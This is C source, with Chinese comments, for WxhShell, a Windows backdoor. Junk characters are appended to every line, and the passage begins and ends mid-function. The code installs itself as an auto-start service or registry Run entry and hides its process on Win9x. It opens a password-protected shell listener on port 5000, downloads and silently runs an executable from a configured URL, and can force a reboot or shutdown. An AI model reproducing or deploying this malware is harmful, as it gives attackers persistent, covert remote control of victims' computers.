  case 'd': { 5KYR"-jY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u<j.XPK  
    if(Boot(SHUTDOWN)) }zeKf/?'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f'S0 "  
    else { #]}G{ P  
    closesocket(wsh); L`^ v"W()  
    ExitThread(0); \jkDRR[  
    } F 'HYWH0?  
    break; 6ESS>I"su  
    } )OGO wStz  
  // 获取shell SnO,-Rg  
  case 's': { Qej<(:J5  
    CmdShell(wsh); uA%F0oM  
    closesocket(wsh); XT==N-5,  
    ExitThread(0); e=u}J%|  
    break; yaX%<KBa\  
  } WPu%{/ [  
  // 退出 z5[Qh<M  
  case 'x': { 5M3)7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i2Gh!5]f  
    CloseIt(wsh); H{d/%}7[v  
    break; U.W Mu%  
    } k}{K7,DM  
  // 离开 #M[Cq= 2  
  case 'q': { *K=me/ 3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R*O6Z"h  
    closesocket(wsh); T5 BoOVgO  
    WSACleanup(); VK4"  
    exit(1); %o0.8qVJi  
    break; =OA7$z[  
        } LA837%)  
  } C9T- 4o1  
  } gD6BPW~0  
a4!6K  
  // 提示信息 -32.g \]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FC8= ru  
} N sSl|m  
  } sWLH"'Z  
WOGMt T%  
  return; g[xn0 rG  
} y {Mh ?H  
$4TawFf"nc  
// shell模块句柄 2 BwpxV8  
int CmdShell(SOCKET sock) v|>'m#Ln2  
{ jZ69sDhE  
STARTUPINFO si; qjvIp-  
ZeroMemory(&si,sizeof(si)); v#KE"m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K~z9b4a>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *icxK  
PROCESS_INFORMATION ProcessInfo; +)d7SWO6]!  
char cmdline[]="cmd"; :w c.V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s0'Xihsw6  
  return 0; <QE/p0.  
} \hZ9in`YlR  
<.6$zcW  
// 自身启动模式 9hs7B!3pc>  
int StartFromService(void) !1?Nc}T0Q&  
{  qZP>h4  
typedef struct #1f8A5<  
{ gCS%J40r  
  DWORD ExitStatus; F (:] lM|  
  DWORD PebBaseAddress; 3gmu-t v  
  DWORD AffinityMask; ps?B;P  
  DWORD BasePriority; .gHL(*1P  
  ULONG UniqueProcessId; ;0\  
  ULONG InheritedFromUniqueProcessId; j2{ '!  
}   PROCESS_BASIC_INFORMATION; %OsV(7  
BhJ~jV"  
PROCNTQSIP NtQueryInformationProcess; <^jW  
*,__\/U98  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ +z'pK~c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I#hzU8Cc  
;tLu  
  HANDLE             hProcess; {mV,bg,}~  
  PROCESS_BASIC_INFORMATION pbi; c7N`W}BZ  
T\Q)"GB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X*C4N F0  
  if(NULL == hInst ) return 0; %!1:BQ,p,i  
l4Y}<j\;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =zW.~(c{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); niN$!k+Jr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )Ikx0vDFQ  
=2[cpF]  
  if (!NtQueryInformationProcess) return 0; >U$,/_uMNW  
F D6>[W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 47XQZ-}4  
  if(!hProcess) return 0; #r)c@?T@j  
R|AG N*.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4E& 3{hnp  
PDssEb7  
  CloseHandle(hProcess); %.D@{O  
ve / Q6j{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~3z10IG  
if(hProcess==NULL) return 0; v ~%6!Tr  
O-vvFl#4  
HMODULE hMod; kST  
char procName[255];  G l*C"V  
unsigned long cbNeeded; "I]% aK0  
TNV#   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Si]8*>}-B  
X"{s"Mc0G  
  CloseHandle(hProcess); l4d2 i;4BK  
u37@9  
if(strstr(procName,"services")) return 1; // 以服务启动 RyxIJJui  
1]v.Qu<  
  return 0; // 注册表启动 " U&   
} U vOB`Vj  
x_ \e&"x  
// 主模块 a8%/Xwr~  
int StartWxhshell(LPSTR lpCmdLine) `7|v  
{ CtA0W\9w5a  
  SOCKET wsl; 3u8HF-  
BOOL val=TRUE; L +s,,k  
  int port=0; Os1(28rl  
  struct sockaddr_in door; /5_!Y >W  
4>Q6!"  
  if(wscfg.ws_autoins) Install(); NPEs0|  
vV| u+v{  
port=atoi(lpCmdLine); sT3O_20{  
@Tzh3,F2  
if(port<=0) port=wscfg.ws_port; uU>Bun  
X(#G6KeZFZ  
  WSADATA data; @$;"nVZ4v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M(S:&GOU  
]#[ R^t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6?ylSQ]1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OY6l t.t  
  door.sin_family = AF_INET; *Oo2rk nQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |k+Y >I&  
  door.sin_port = htons(port); y4Plm.  
6 9,;=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @K]D :MSS  
closesocket(wsl); r!etj3  
return 1; 9[B*CD |  
} 8fJ- XFK$:  
0*8[m+j1  
  if(listen(wsl,2) == INVALID_SOCKET) { y:Qo:Z~  
closesocket(wsl); (3"V5r`*;  
return 1; Ut8yA"Y~  
} ?E2/ CM  
  Wxhshell(wsl); '8wA+N6Zr7  
  WSACleanup(); m ^Btr  
UMw1&"0:  
return 0; ? S>"yAoe  
%Sfew/"R0  
} hHdH#-O:4"  
h4S,(*V$!  
// 以NT服务方式启动 (J~n|hA2/D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6`{Y#2T  
{ uQ{ &x6.1  
DWORD   status = 0; 0\Qqv7>  
  DWORD   specificError = 0xfffffff; hn-9l1~!h  
5+'1 :Sa(i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rg,pC.7;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _w=si?q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'cT R<LVo  
  serviceStatus.dwWin32ExitCode     = 0; 3ePG=^K^  
  serviceStatus.dwServiceSpecificExitCode = 0; L*1C2EL/q  
  serviceStatus.dwCheckPoint       = 0; `(EY/EsY  
  serviceStatus.dwWaitHint       = 0; =\?KC)F*e  
3xh~xE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d?*=<w!A  
  if (hServiceStatusHandle==0) return; \:\rkc9LI  
sUcx;<|BC  
status = GetLastError(); -D0kp~AO4N  
  if (status!=NO_ERROR) *<zfe.  
{ Sim\+SL{#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s 7iguFQ  
    serviceStatus.dwCheckPoint       = 0; 8AVM(d@  
    serviceStatus.dwWaitHint       = 0; *)ZDN~z7o  
    serviceStatus.dwWin32ExitCode     = status; sV'(y>PP%  
    serviceStatus.dwServiceSpecificExitCode = specificError; X4lz?Y:*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TP[<u-@G  
    return; ^c!"*L0E  
  } ;dNKe.`Dg  
cRK1JxU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [GX5jD#  
  serviceStatus.dwCheckPoint       = 0; 4}Y2 B$  
  serviceStatus.dwWaitHint       = 0; m49GCo k+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `\P#TBM  
} ?A;x%8}  
ksT2_Ic  
// 处理NT服务事件,比如:启动、停止 nWfOiw-t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J"L+`i  
{ e-ILUzT  
switch(fdwControl) 3@*J=LGhKc  
{ ^i2W=A'P  
case SERVICE_CONTROL_STOP: tpO%)*  
  serviceStatus.dwWin32ExitCode = 0; J84Q|E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %%}U -*b  
  serviceStatus.dwCheckPoint   = 0; %vDN{%h8  
  serviceStatus.dwWaitHint     = 0; 5\V>Sj(  
  { f+j\,LJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &aqF ||v%)  
  } D|@*HX@_Xp  
  return; G< l+94(  
case SERVICE_CONTROL_PAUSE: \m~ ?mg"#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 61HU_!A8S  
  break; iF?4G^  
case SERVICE_CONTROL_CONTINUE: \L-o>O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h.E8G^}@  
  break; /\V-1 7-  
case SERVICE_CONTROL_INTERROGATE: (PE x<r1   
  break; 8hZ+[E}  
}; SZW`|ajH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8<z+hWX=4  
} 1~Zmc1]  
'kf]l=i[n  
// 标准应用程序主函数 UmcPpZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :[|4Zn  
{ o<`Mvw@Z  
u+a" '*  
// 获取操作系统版本 N?TXPY  
OsIsNt=GetOsVer(); $014/IB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /-)\$T1d  
*JDQaWzBd  
  // 从命令行安装 P3UU~w+s  
  if(strpbrk(lpCmdLine,"iI")) Install(); f^b.~jXSR}  
_ ]@   
  // 下载执行文件 NKd}g  
if(wscfg.ws_downexe) { I !=ew |  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X?&(i s  
  WinExec(wscfg.ws_filenam,SW_HIDE); zgXg-cr  
} (`\ DDJ[  
}lt5!u~}  
if(!OsIsNt) { GKTt!MK  
// 如果时win9x,隐藏进程并且设置为注册表启动 N"1o> !  
HideProc(); d(9ZopJrQ  
StartWxhshell(lpCmdLine); @&#k['c  
}  L_3Ao'SA  
else $L7Z_JD5  
  if(StartFromService()) k!l\|~  
  // 以服务方式启动 p'{B|ujj6  
  StartServiceCtrlDispatcher(DispatchTable); oJb${k<3  
else \H^DiF%f9  
  // 普通方式启动 r==d^  
  StartWxhshell(lpCmdLine); IcRA[ g  
<ZO"0oz%  
return 0; Vea2 oQq  
} 5]pvHc  
U{/d dCf7  
Z0HfrK#oU  
=?]H`T:  
=========================================== LK\L}<;1V  
yuIy?K  
Cw6\'p%l-\  
B;x5os  
ybNo`:8 A;  
Yuo:hF\DH  
" E><$sN6  
Iv])s  
#include <stdio.h> }7?_>  
#include <string.h> 6 G.(o  
#include <windows.h> C.qN Bl*  
#include <winsock2.h> uH*moVw@5  
#include <winsvc.h> gySCK-(y  
#include <urlmon.h> IAyyRl\  
.n$c+{  
#pragma comment (lib, "Ws2_32.lib") 4Z8FLA+T,  
#pragma comment (lib, "urlmon.lib") <O:}dXqZ  
: EA-L  
#define MAX_USER   100 // 最大客户端连接数 {txW>rZX  
#define BUF_SOCK   200 // sock buffer kjAARW  
#define KEY_BUFF   255 // 输入 buffer #gW"k;7P  
6mp8v`b  
#define REBOOT     0   // 重启 #+CH0Z  
#define SHUTDOWN   1   // 关机 /LwS|c6}}  
KU$:p^0l;*  
#define DEF_PORT   5000 // 监听端口 tb$I8T  
XZ%3PMq  
#define REG_LEN     16   // 注册表键长度 nA owFdCD  
#define SVC_LEN     80   // NT服务名长度 6g*?(Y][  
;wGoEN  
// 从dll定义API 6%yt"XmT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E8X(AZ 2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D6+^Qmu"p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X~UrAG}_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F*u"LTH  
p^.qwP\P  
// wxhshell配置信息 we:P_\6  
struct WSCFG { L%S(z)xX3  
  int ws_port;         // 监听端口 ^^ >j2=  
  char ws_passstr[REG_LEN]; // 口令 2P35#QI[)  
  int ws_autoins;       // 安装标记, 1=yes 0=no |L9p.q  
  char ws_regname[REG_LEN]; // 注册表键名 V.w L  
  char ws_svcname[REG_LEN]; // 服务名 jk (tw-B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?+)>JvWDz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p : {,~ 1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aH/8&.JLi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;Mw<{X-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ms<v81z5T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J:Mn 5hdK=  
>c`r&W.t  
}; i.Rxx, *?  
pyUzHF0  
// default Wxhshell configuration Fs$mLa  
struct WSCFG wscfg={DEF_PORT, B:)PUBb  
    "xuhuanlingzhe", P5Bva  
    1, G*s5GG@Z.  
    "Wxhshell", , wXixf2  
    "Wxhshell", H 0( .p'eN  
            "WxhShell Service", ^O0trM>h-  
    "Wrsky Windows CmdShell Service", @`mr|-Rp@  
    "Please Input Your Password: ", pk8`suZ  
  1, hZIbN9)8A  
  "http://www.wrsky.com/wxhshell.exe", L;\f^v(  
  "Wxhshell.exe" Y{KN:|i.!  
    }; v[~~q  
U8S<wf&  
// 消息定义模块 FPb4VJ|xm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lvOM1I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,_K y'B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -6W$@,K  
char *msg_ws_ext="\n\rExit."; P(o GNKAS  
char *msg_ws_end="\n\rQuit."; [L>mrHqG  
char *msg_ws_boot="\n\rReboot..."; r\A|fiL  
char *msg_ws_poff="\n\rShutdown..."; ppuJC ' GW  
char *msg_ws_down="\n\rSave to "; C>A} e6o  
qrHCr:~  
char *msg_ws_err="\n\rErr!"; A&N$=9.N1  
char *msg_ws_ok="\n\rOK!"; Prc (  
5Vc~yMz  
char ExeFile[MAX_PATH]; =Q,D3F -+f  
int nUser = 0; bV$g]->4e  
HANDLE handles[MAX_USER]; uK%0,!q  
int OsIsNt; \J(kevX  
_TwE ym.V  
SERVICE_STATUS       serviceStatus; |.OS7Gt?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &( ZEs c  
w-];!;%  
// 函数声明 btOx\y}  
int Install(void); ;fYJ]5>  
int Uninstall(void); :jy}V'bn$  
int DownloadFile(char *sURL, SOCKET wsh); wZ5k|5KtW  
int Boot(int flag); HCKocL/]h  
void HideProc(void); _BEDQb{"|  
int GetOsVer(void); EG8%X"p  
int Wxhshell(SOCKET wsl); ZU$QwI8  
void TalkWithClient(void *cs); ep6V2R  
int CmdShell(SOCKET sock); 18^K!:Of  
int StartFromService(void); wG&Z7C b  
int StartWxhshell(LPSTR lpCmdLine); |w"G4J6ha  
=}" P;4:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a8YFH$Xh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !a4`SjOgu  
')T*cLQ><  
// 数据结构和表定义 ]`q]\EH  
SERVICE_TABLE_ENTRY DispatchTable[] = %!7A" >ai  
{ ^S`N\X  
{wscfg.ws_svcname, NTServiceMain}, mg< v9#  
{NULL, NULL} (M?VB*sm0  
}; ov5g`uud  
)gx*;z@  
// 自我安装 *:% I|5  
int Install(void) Z,-J tl  
{ ta@fNS4  
  char svExeFile[MAX_PATH]; 8Ow#W5_3|  
  HKEY key; Jt:)(&-t   
  strcpy(svExeFile,ExeFile); >E7s}bL"  
4~AY: ib|  
// 如果是win9x系统,修改注册表设为自启动 @X2zIFm  
if(!OsIsNt) { ?AVnv(_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bw)E;1zo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =)#<u9 qqL  
  RegCloseKey(key); 3!h3flE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %(S!/(LWW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TtrV -X>L  
  RegCloseKey(key); .E 9$j<SP-  
  return 0; cj4o[l  
    } _aU :[v*!  
  } kT%m`  
} fo=@ X>S  
else { :j#zn~7  
6FX]b4  
// 如果是NT以上系统,安装为系统服务 , {}S<^?]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |kF"p~s  
if (schSCManager!=0) T2A74>Nw  
{ _PLZ_c:O  
  SC_HANDLE schService = CreateService e< G[!m  
  ( sY[!=`@  
  schSCManager, Ax 4R$P.]u  
  wscfg.ws_svcname, ~<}?pDA}~  
  wscfg.ws_svcdisp, VVEJE$  
  SERVICE_ALL_ACCESS, \'X-><1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _7R6%^  
  SERVICE_AUTO_START, S"fqE%  
  SERVICE_ERROR_NORMAL, np\*r|U  
  svExeFile, #'m#Q6`  
  NULL, [U$`nnp  
  NULL, ^U^K\rq 1u  
  NULL, 3*F|`js"  
  NULL, Q>xp 90&.n  
  NULL /GO((v+J  
  ); qP+%ui5xR  
  if (schService!=0) =y^ g*9}_  
  { S/yBr`  
  CloseServiceHandle(schService); Gx|/ Jq  
  CloseServiceHandle(schSCManager); #4AqWyp#f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UZL-mF:)&  
  strcat(svExeFile,wscfg.ws_svcname); " ;o, D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @7sHFwtar?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,D.@6 bJW  
  RegCloseKey(key); iA4VT,  
  return 0; 3W[Ps?G  
    } 8SBa w'a  
  } MnQ 6 !1Z  
  CloseServiceHandle(schSCManager); BA9;=orx  
} CHdYY7\{  
} CX7eCo  
-5\.\L3y)  
return 1; BOl*. t  
} P#/s5D8  
 ?QcS$i  
// 自我卸载 T2to!*T  
int Uninstall(void) _AiGD  
{ >?{> !#1  
  HKEY key; orEb+  
pW&8 =Ew  
if(!OsIsNt) { 0a+U >S#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C?rb}(m  
  RegDeleteValue(key,wscfg.ws_regname); B~3qEdoK5`  
  RegCloseKey(key); aSeh?2n8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QaOF l` i  
  RegDeleteValue(key,wscfg.ws_regname); 1 y7$"N8Xo  
  RegCloseKey(key); m.U&O=]5  
  return 0; V^\b"1X7N  
  } rD>q/,X=\  
} /b{Ufo3v  
} [5]* Be  
else { Ct0%3]<J  
]2z Gb5s"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NV^n}]ci  
if (schSCManager!=0) K14{c1  
{ xQ=L2pX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,f .#-  
  if (schService!=0) <$ %Y#I'zX  
  { VKr oikz@]  
  if(DeleteService(schService)!=0) { i,/Q.XL  
  CloseServiceHandle(schService); 8yGo\\=T  
  CloseServiceHandle(schSCManager); 1k)`C<l  
  return 0; O.?q8T)n82  
  } s3)T}52  
  CloseServiceHandle(schService); mW."lzIl  
  } \U?{m)N  
  CloseServiceHandle(schSCManager); HmpV; <t3  
} Z.0mX#  
} g1q%b%8T  
n{E + r  
return 1; 1gH>B5`  
} >&|/4`HSB  
oX-h7;SD  
// 从指定url下载文件 {Yt i  
int DownloadFile(char *sURL, SOCKET wsh) IUy5=Sl   
{ 5{#ya 2  
  HRESULT hr; WoWBZ;+U  
char seps[]= "/"; U&6f:IV  
char *token; gk"J+uM  
char *file; 9riKSp:5  
char myURL[MAX_PATH];  ePI)~  
char myFILE[MAX_PATH]; m6 a @Y<  
Va\?"dH>M  
strcpy(myURL,sURL); LYS[qLpf  
  token=strtok(myURL,seps); Q#I?nBin  
  while(token!=NULL) Y.o-e)zX  
  { gd;e-.  
    file=token; }x:nhy`  
  token=strtok(NULL,seps); uX,ln(9I*H  
  } .w~zW*M0  
OSCeTkR  
GetCurrentDirectory(MAX_PATH,myFILE); MtK5>mhZI`  
strcat(myFILE, "\\"); ;gW?Fnry;  
strcat(myFILE, file); o n?8l?iQ  
  send(wsh,myFILE,strlen(myFILE),0); b .v^:M  
send(wsh,"...",3,0); YRP$tz+ _  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gx6$:j;   
  if(hr==S_OK) ZSW`/}Dp;  
return 0; xW'(]Z7_  
else +tFl  
return 1; n]%yf9,w  
E9S&UU,K  
} L3X[; |v}  
+DP{_x)t  
// 系统电源模块 Z+x`q#ZQr  
int Boot(int flag) w77"?kJ9X  
{ i9y&<^<W  
  HANDLE hToken; xr 4kBC t  
  TOKEN_PRIVILEGES tkp; 31}kNc}n  
iLG~_Ob:  
  if(OsIsNt) { (yi{<$ U*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nYO4JlNP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (B;rjpK  
    tkp.PrivilegeCount = 1; V|bN<BYJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J9/}ZD^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u:&Lf  
if(flag==REBOOT) { l050n9#9p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $Z^HI  
  return 0; *.Ceb%W7C  
} T>s3s5Y  
else { _cH 7lO[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tg.}rNA4  
  return 0; 626 !6E;T  
} i9k/X&V  
  } .TetN}w  
  else { q/yL={H?  
if(flag==REBOOT) { Sf*b{6lcC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gd%E337d  
  return 0; nc.X+dx:  
} _8"%nV  
else { AIFI@#3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6'qC *r   
  return 0; B@2VI 1%  
} >~k"C,6  
} Kdwt^8Umh  
'`Iuf\  
return 1; 7{e*isV  
} 2Fsv_t&*>  
4q\bnt  
// win9x进程隐藏模块 "i;c)ZP  
void HideProc(void) Do5)ilt  
{ *_7%n-k  
m`Ver:{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !z]2+  
  if ( hKernel != NULL ) J M,ndl  
  { ?ydqmj2[F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m|w-}s,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `aW>h8$I)  
    FreeLibrary(hKernel); ^5 sO;vf  
  } v5;V$EGD&  
f?A1=lm~  
return; |[}!E/7>b  
} yk| < P\  
fSFb)+  
// 获取操作系统版本 g",htYoEnj  
int GetOsVer(void) [~<X|_L G  
{ U6@Hgi>  
  OSVERSIONINFO winfo; B#T4m]E/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OWRT6R4v  
  GetVersionEx(&winfo); {FU,om9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [_h/Dh C:+  
  return 1; a.yCd/  
  else 2=PX1kI  
  return 0; TxD,A0  
} 54%@q[-  
'dstAlt?  
// 客户端句柄模块 0qj:v"~Q  
int Wxhshell(SOCKET wsl) #r}O =izi  
{ _3YuPMaN  
  SOCKET wsh;  bK|I  
  struct sockaddr_in client; r{T}pc>^  
  DWORD myID; k_hV.CV  
BB694   
  while(nUser<MAX_USER) #DI%l`B  
{ U- UD27  
  int nSize=sizeof(client); S_VZ^1X]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u2G{I?  
  if(wsh==INVALID_SOCKET) return 1; eiV[y^?  
eI7FbOze  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i0y^b5@MOb  
if(handles[nUser]==0) V9 dRn2- [  
  closesocket(wsh); Gb\Nqx(  
else 8AK=FX&@&  
  nUser++; 0Y81B;/F  
  } #ONad0T;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .W#-Cl&n8  
Oist>A$Z  
  return 0; S}Q/CT?au  
} -<[MM2Y  
j<-#a^jb  
// 关闭 socket mu[:b  
void CloseIt(SOCKET wsh) msyC."j0jU  
{ +y$%S4>0tp  
closesocket(wsh); ;p !|E3o.  
nUser--; 0'IV"eH2  
ExitThread(0); SCCBTpmf2B  
}  a9ko3L  
d@a FW  
// 客户端请求句柄 O"$uw  
void TalkWithClient(void *cs) y\Z$8'E5W  
{ 5*ip}wA  
#JFTD[1  
  SOCKET wsh=(SOCKET)cs; 3$u 3ssOL  
  char pwd[SVC_LEN]; n\v;4ly^  
  char cmd[KEY_BUFF]; \<}4D\qz  
char chr[1]; v\3:R,|'  
int i,j; arR9uxP  
D+Ke)-/  
  while (nUser < MAX_USER) { Pd<s#  
&p)]Cl/`  
if(wscfg.ws_passstr) { xpWx6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X2? ^t]-N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZH:-.2*cj  
  //ZeroMemory(pwd,KEY_BUFF); 5,I|beM  
      i=0; $?.0>0 ,<  
  while(i<SVC_LEN) { yM *-e m  
@%7IZg;P6  
  // 设置超时 0UJ% tPS  
  fd_set FdRead; WU wH W  
  struct timeval TimeOut; []'gIF  
  FD_ZERO(&FdRead); }9k/Y/.  
  FD_SET(wsh,&FdRead); 4&}V3"lg  
  TimeOut.tv_sec=8; H]6i1j  
  TimeOut.tv_usec=0; 2qw-:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ''{REFjK7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vr,8i7*0  
[z2XK4\e1T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bjQp6!TsZ  
  pwd=chr[0]; g>m)|o'  
  if(chr[0]==0xd || chr[0]==0xa) { _6b?3[Xz  
  pwd=0; \{Q d  
  break; Kw`{B3"  
  } RObo4  
  i++; Rqi= AQ  
    } 1G0U}-6RH  
MX@t[{Gg9  
  // 如果是非法用户,关闭 socket eI+<^p_j2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 77FI&*q  
} _GoV\wGKl  
yqEX0|V%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X"4 :#s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B-oQ 9[~  
rd*`8B  
while(1) { 5`TbM  
RZ(*%b<C  
  ZeroMemory(cmd,KEY_BUFF); `&\jOve   
S(B$[)(  
      // 自动支持客户端 telnet标准   BGtr=&Hq  
  j=0; B6N/nCvHK  
  while(j<KEY_BUFF) { n{d0}N =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E [:eMJR  
  cmd[j]=chr[0]; @/MI Oxg[  
  if(chr[0]==0xa || chr[0]==0xd) { /6=IL  
  cmd[j]=0; UZ5O%SF  
  break; skd3E4  
  } R cZg/{[{  
  j++; -B`Nkc  
    } scf.> K2  
`D44I;e^1;  
  // 下载文件 q*L>MV  
  if(strstr(cmd,"http://")) { )\S3Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o!]muO*Rm  
  if(DownloadFile(cmd,wsh)) QKW\z aG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5r&bk`  
  else bW]7$?acv  
